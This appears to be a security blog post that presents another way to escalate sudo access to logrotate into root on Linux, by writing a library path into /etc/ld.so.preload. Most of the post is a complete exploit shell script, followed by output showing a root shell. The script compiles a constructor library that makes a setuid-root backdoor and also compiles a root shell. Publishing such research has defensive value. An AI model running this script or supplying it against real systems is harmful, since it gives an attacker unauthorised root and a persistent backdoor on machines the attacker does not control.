Another way to exploit 'sudo logrotate'.

Just a quick post, I was reading this excellent blogpost showing a way to exploit sudo access to logrotate, and had a quick notion in my head that clobbering /etc/ld.so.preload would also be a viable exploitation strategy.

The logrotate exploit shown relies on injecting some text into a file somewhere. The author uses this to whack cron or a bash completion file to get execution.

The dynamic linker on Linux is very permissive in how it parses the /etc/ld.so.preload file, and if you can inject partially controlled content into it (even total garbage), so long as you can put a space or a newline in front of and after a string of text, you can then force the system to preload whatever library is stored at that path.

I've used this trick in a bunch of previous local root exploits I've written.

Basically, we will use 5 steps to exploit this issue.

  1. Drop and compile a shared library which will, upon being loaded, chown a suid-root backdoor to the root user, and set the suid bit on it. We also want the library to unlink the /etc/ld.so.preload file so it cleans up after itself.
  2. Drop and compile a simple setuid-root shell.
  3. Call sudo logrotate -l /etc/ld.so.preload ' /tmp/libhax.so ' so that logrotate shoves the string ' /tmp/libhax.so ' inside the /etc/ld.so.preload file.
  4. Call sudo logrotate -h to force our library to be preloaded by a root process.
  5. Run our root shell.

Here is the exploit as a shell script:

#!/bin/bash
echo "~ logroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
sudo logrotate -l /etc/ld.so.preload ' /tmp/libhax.so '
echo "[+] Triggering..."
sudo logrotate -h
/tmp/rootshell

And here is an output of it running:

debian@debian:~$ id
uid=1000(debian) gid=1000(debian) groups=1000(debian),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev)
debian@debian:~$ ./logroot.sh 
~ logroot ~
[+] First, we create our shell and library...
[+] Now we create our /etc/ld.so.preload file...
error: cannot stat  /tmp/libhax.so : No such file or directory
[+] Triggering...
ERROR: ld.so: object 'error' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.

< snipped a load of ld.so complaining > 

[+] done!
logrotate: bad argument -h: unknown error
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),1000(debian)
# exit

I hope you enjoyed seeing an 'alternative' approach to this exploit trickery.